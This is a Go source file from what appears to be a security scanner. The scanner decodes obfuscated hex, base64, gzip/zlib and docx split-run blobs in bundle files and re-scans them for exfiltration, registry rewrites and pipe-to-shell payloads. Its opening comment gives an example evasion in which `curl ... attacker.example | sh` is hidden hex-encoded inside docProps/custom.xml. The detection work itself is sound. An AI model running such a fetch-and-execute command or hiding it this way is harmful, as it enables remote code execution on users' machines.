| package bundle | |
| import ( | |
| "bytes" | |
| "compress/gzip" | |
| "compress/zlib" | |
| "encoding/base64" | |
| "encoding/hex" | |
| "io" | |
| "regexp" | |
| "strings" | |
| ) | |
| // decode.go closes the docx-indirection evasion: an obfuscated payload (hex, | |
| // base64, gzip/zlib+base64, or split-across-runs) buried in an archive member or | |
| // data file is flagged only as an opaque "embedded-encoded-blob" by the shape | |
| // scanners. That structural-only signal does NOT escalate under the precision | |
| // gate, so a skill that hex-encodes `curl ... attacker.example | sh` inside | |
| // docProps/custom.xml slips through. The fix here DECODES the blob (bounded: | |
| // <=~1MiB recovered, <=2 nested layers, never panics) and RE-SCANS the recovered | |
| // bytes with the shared indicator vocabulary. If the recovered content itself | |
| // exhibits a behavioral signal (exfil host, registry rewrite to a non-allowlisted | |
| // host, curl|sh / env-export), we emit a CORROBORATED SevHigh finding so | |
| // aggregate.bundleEscalates fires. Mere decodability is never enough — only a | |
| // behavioral hit in the recovered bytes corroborates (benign base64 assets and | |
| // hashes stay SevMedium structural). | |
| const ( | |
| // maxDecodedBytes caps the recovered payload fed back into the scanner. Mirrors | |
| // the archive per-member budget so a decode bomb can never blow past it. | |
| maxDecodedBytes = maxMemberScanBytes // 1 MiB | |
| // maxDecodeDepth bounds nested decode layers. gzip+base64 is 2 layers; this is | |
| // the ceiling so a base64(base64(gzip(...))) chain cannot recurse unbounded. | |
| maxDecodeDepth = 2 | |
| // minBlobLen is the smallest candidate blob worth decoding. Below this the | |
| // shared regexes would not have matched anyway; it bounds wasted work. | |
| minBlobLen = 16 | |
| ) | |
| // splitRunsRe extracts the concatenated payload from the docx "split across XML | |
| // runs" obfuscation: <<PART1>>a<<PART2>>b<<PART3>>c<<END>>. The parts are joined | |
| // (markers stripped) to reconstruct the plaintext payload. Bounded, non-greedy. | |
| var splitRunsRe = regexp.MustCompile(`(?s)<<PART\d+>>(.*?)<<END>>`) | |
| // partMarkerRe strips the inter-part markers so the concatenated payload reads as | |
| // the original plaintext. | |
| var partMarkerRe = regexp.MustCompile(`<<PART\d+>>`) | |
| // decodeAndRescan inspects text for obfuscated-payload carriers (hex, base64, | |
| // gzip/zlib+base64, split-runs), decodes any it finds (bounded + panic-safe), and | |
| // re-runs sharedIndicatorScan over the recovered bytes. For each candidate whose | |
| // RECOVERED content exhibits a behavioral signal it returns a single corroborated | |
| // SevHigh Finding (decoded-blob-exfil / decoded-registry-rewrite / | |
| // decoded-blob-rce). Benign-but-decodable blobs (no behavioral hit) yield nothing | |
| // here — the caller's existing SevMedium structural "embedded-encoded-blob" stands. | |
| // | |
| // fileRel labels the findings; analyzer is the owning analyzer name. line is the | |
| // 1-based line the carrier was found on (0 if unknown), surfaced on the finding. | |
| func decodeAndRescan(text string, fileRel string, analyzer string, line int) []Finding { | |
| // Defense in depth: recover from any pathological decode so a single corrupt | |
| // blob can never crash a scan (the analyzers run under safeAnalyze too). | |
| defer func() { _ = recover() }() | |
| var out []Finding | |
| for _, cand := range extractEncodedCandidates(text) { | |
| recovered, ok := decodeBounded(cand, 0) | |
| if !ok || len(recovered) == 0 { | |
| continue | |
| } | |
| recText := string(recovered) | |
| // Re-scan recovered bytes with the full shared vocabulary. decode=false: | |
| // the bounded multi-layer decode is handled here in decode.go, so the | |
| // scanner must not re-trigger another decode pass (recursion guard). | |
| sub := sharedIndicatorScanInner(recText, fileRel, analyzer, false) | |
| sig, detail, hit := classifyRecovered(sub, recText) | |
| if !hit { | |
| continue | |
| } | |
| out = append(out, Finding{ | |
| Analyzer: analyzer, | |
| File: fileRel, | |
| Signal: sig, | |
| Severity: SevHigh, | |
| Detail: detail, | |
| Line: line, | |
| Corroborated: true, | |
| }) | |
| } | |
| return dedupeFindings(out) | |
| } | |
| // classifyRecovered inspects the findings produced by re-scanning recovered bytes | |
| // (and the recovered text itself for registry-rewrite directives) and decides | |
| // whether a behavioral signal is present. Returns the decoded-* signal name, a | |
| // human detail, and whether a hit occurred. | |
| func classifyRecovered(sub []Finding, recText string) (signal, detail string, hit bool) { | |
| var sawExfil, sawRegistry, sawRCE bool | |
| for _, f := range sub { | |
| switch f.Signal { | |
| case "exfil-host-reference": | |
| sawExfil = true | |
| case "registry-rewrite": | |
| // Only a non-downgraded (SevHigh+) registry rewrite corroborates; a | |
| // known-benign mirror is lowered to SevLow by sharedIndicatorScan. | |
| if f.Severity >= SevHigh { | |
| sawRegistry = true | |
| } | |
| case "remote-code-execution", "exfil-env-to-network", "destructive-command": | |
| sawRCE = true | |
| } | |
| } | |
| switch { | |
| case sawExfil: | |
| return "decoded-blob-exfil", "decoded an obfuscated payload that references a known exfiltration host", true | |
| case sawRegistry: | |
| return "decoded-registry-rewrite", "decoded an obfuscated payload that rewrites a package-manager registry/index to a non-allowlisted host", true | |
| case sawRCE: | |
| return "decoded-blob-rce", "decoded an obfuscated payload that pipes-to-shell or exfiltrates environment/credentials", true | |
| default: | |
| return "", "", false | |
| } | |
| } | |
| // extractEncodedCandidates pulls decode candidates out of a text block. It | |
| // returns: each base64 blob match, each hex blob match, and (if present) the | |
| // reassembled split-runs payload. Candidates are deduped and length-bounded. | |
| func extractEncodedCandidates(text string) []string { | |
| seen := make(map[string]bool) | |
| var cands []string | |
| add := func(s string) { | |
| s = strings.TrimSpace(s) | |
| if len(s) < minBlobLen || seen[s] { | |
| return | |
| } | |
| seen[s] = true | |
| cands = append(cands, s) | |
| } | |
| // split-runs: reassemble the parts (markers removed) into the plaintext payload. | |
| for _, m := range splitRunsRe.FindAllStringSubmatch(text, 8) { | |
| if len(m) < 2 { | |
| continue | |
| } | |
| joined := partMarkerRe.ReplaceAllString(m[1], "") | |
| add(joined) | |
| } | |
| // base64 / hex blobs. Cap the number of candidates so a file packed with | |
| // thousands of short blobs cannot blow up the work. | |
| for _, m := range base64BlobRe.FindAllString(text, 64) { | |
| add(m) | |
| } | |
| for _, m := range longHexRe.FindAllString(text, 64) { | |
| add(m) | |
| } | |
| return cands | |
| } | |
| // decodeBounded attempts to decode a single candidate string into recovered bytes, | |
| // trying hex, base64, and (on the decoded result) gzip/zlib decompression. depth | |
| // bounds nested decode layers (gzip+base64 = 2). It never panics and returns | |
| // ok=false when nothing plausibly decoded. Recovered output is capped at | |
| // maxDecodedBytes. | |
| func decodeBounded(s string, depth int) (recovered []byte, ok bool) { | |
| if depth > maxDecodeDepth { | |
| return nil, false | |
| } | |
| s = strings.TrimSpace(s) | |
| if len(s) < minBlobLen { | |
| return nil, false | |
| } | |
| // split-runs payloads arrive here already reassembled and may BE the plaintext | |
| // (the most common docx case): if the raw candidate already carries a | |
| // behavioral marker, surface it directly without requiring a transform. | |
| if depth == 0 && looksBehavioral(s) { | |
| return capBytes([]byte(s)), true | |
| } | |
| // Try hex first (hex alphabet is a strict subset of base64's, so a pure-hex | |
| // blob would also "succeed" as base64 and yield garbage — prefer hex). | |
| if dec, hexOk := tryHex(s); hexOk { | |
| if out, refined := refineDecoded(dec, depth); refined { | |
| return out, true | |
| } | |
| } | |
| // Then base64 (covers base64 and gzip/zlib+base64 via refineDecoded). | |
| if dec, b64Ok := tryBase64(s); b64Ok { | |
| if out, refined := refineDecoded(dec, depth); refined { | |
| return out, true | |
| } | |
| } | |
| return nil, false | |
| } | |
| // refineDecoded takes raw decoded bytes and either (a) decompresses them if they | |
| // are gzip/zlib, recursing one decode layer deeper, or (b) returns them directly | |
| // when they already look like a behavioral payload (or recurses on a still-encoded | |
| // inner blob). Returns ok=true only when the final bytes look meaningful. | |
| func refineDecoded(dec []byte, depth int) (recovered []byte, ok bool) { | |
| if len(dec) == 0 { | |
| return nil, false | |
| } | |
| // gzip / zlib magic -> decompress, then recurse one layer on the result. | |
| if decompressed, decOk := tryDecompress(dec); decOk { | |
| if looksBehavioral(string(decompressed)) { | |
| return capBytes(decompressed), true | |
| } | |
| // The decompressed bytes might themselves be a further-encoded blob. | |
| if inner, innerOk := decodeBounded(string(decompressed), depth+1); innerOk { | |
| return inner, true | |
| } | |
| // Decompressed to text that isn't behavioral and isn't a nested blob. | |
| return capBytes(decompressed), looksTexty(decompressed) | |
| } | |
| // Not compressed: accept if the decoded bytes look like a behavioral payload. | |
| if looksBehavioral(string(dec)) { | |
| return capBytes(dec), true | |
| } | |
| // Decoded to text that may carry a still-encoded inner blob (e.g. base64 of | |
| // base64). Recurse one layer. | |
| if looksTexty(dec) { | |
| if inner, innerOk := decodeBounded(string(dec), depth+1); innerOk { | |
| return inner, true | |
| } | |
| // Plain decoded text with no behavioral marker: return it so the caller's | |
| // re-scan can make the final SevHigh decision (keeps the decision in one place). | |
| return capBytes(dec), true | |
| } | |
| return nil, false | |
| } | |
| // looksBehavioral is a cheap pre-filter: does the text carry any marker the | |
| // re-scan would act on? Avoids returning megabytes of benign decoded asset bytes | |
| // for a full re-scan when there is plainly nothing actionable. | |
| func looksBehavioral(text string) bool { | |
| if exfilHostRe.MatchString(text) { | |
| return true | |
| } | |
| low := strings.ToLower(text) | |
| return matchedAny(low, rceTerms) || | |
| matchedAny(low, destructiveTerms) || | |
| matchedAny(low, registryRewriteTerms) || | |
| matchedAny(low, networkSinkTerms) | |
| } | |
| // tryHex decodes an optionally-0x-prefixed hex string. Requires an even length | |
| // and a strict hex alphabet so arbitrary base64 is not mis-decoded as hex. | |
| func tryHex(s string) ([]byte, bool) { | |
| s = strings.TrimPrefix(strings.TrimPrefix(s, "0x"), "0X") | |
| if len(s) < minBlobLen || len(s)%2 != 0 { | |
| return nil, false | |
| } | |
| for i := 0; i < len(s); i++ { | |
| c := s[i] | |
| if !((c >= '0' && c <= '9') || (c >= 'a' && c <= 'f') || (c >= 'A' && c <= 'F')) { | |
| return nil, false | |
| } | |
| } | |
| dec, err := hex.DecodeString(s) | |
| if err != nil { | |
| return nil, false | |
| } | |
| return capBytes(dec), true | |
| } | |
| // tryBase64 decodes standard or URL-safe base64 (with or without padding). | |
| func tryBase64(s string) ([]byte, bool) { | |
| for _, enc := range []*base64.Encoding{ | |
| base64.StdEncoding, base64.RawStdEncoding, | |
| base64.URLEncoding, base64.RawURLEncoding, | |
| } { | |
| if dec, err := enc.DecodeString(s); err == nil && len(dec) > 0 { | |
| return capBytes(dec), true | |
| } | |
| } | |
| return nil, false | |
| } | |
| // tryDecompress decompresses gzip or zlib data, bounded by maxDecodedBytes. It | |
| // never panics and returns ok=false for non-compressed input. | |
| func tryDecompress(data []byte) ([]byte, bool) { | |
| // gzip magic 1f 8b | |
| if len(data) >= 2 && data[0] == 0x1f && data[1] == 0x8b { | |
| zr, err := gzip.NewReader(bytes.NewReader(data)) | |
| if err != nil { | |
| return nil, false | |
| } | |
| defer zr.Close() | |
| out, err := io.ReadAll(io.LimitReader(zr, maxDecodedBytes+1)) | |
| if err != nil && len(out) == 0 { | |
| return nil, false | |
| } | |
| return capBytes(out), len(out) > 0 | |
| } | |
| // zlib magic: 0x78 followed by 0x01/0x9c/0xda (common) — let the reader judge. | |
| if len(data) >= 2 && data[0] == 0x78 { | |
| zr, err := zlib.NewReader(bytes.NewReader(data)) | |
| if err != nil { | |
| return nil, false | |
| } | |
| defer zr.Close() | |
| out, err := io.ReadAll(io.LimitReader(zr, maxDecodedBytes+1)) | |
| if err != nil && len(out) == 0 { | |
| return nil, false | |
| } | |
| return capBytes(out), len(out) > 0 | |
| } | |
| return nil, false | |
| } | |
| // looksTexty reports whether decoded bytes are plausibly text (so re-scanning / | |
| // further-decoding them is worthwhile). Rejects mostly-binary blobs to avoid | |
| // scanning random decoded asset bytes. | |
| func looksTexty(data []byte) bool { | |
| if len(data) == 0 { | |
| return false | |
| } | |
| printable := 0 | |
| n := len(data) | |
| if n > 4096 { | |
| n = 4096 | |
| } | |
| for i := 0; i < n; i++ { | |
| c := data[i] | |
| if c == '\t' || c == '\n' || c == '\r' || (c >= 0x20 && c < 0x7f) { | |
| printable++ | |
| } | |
| } | |
| return float64(printable)/float64(n) >= 0.85 | |
| } | |
| // capBytes truncates recovered bytes to the decode budget. | |
| func capBytes(data []byte) []byte { | |
| if len(data) > maxDecodedBytes { | |
| return data[:maxDecodedBytes] | |
| } | |
| return data | |
| } | |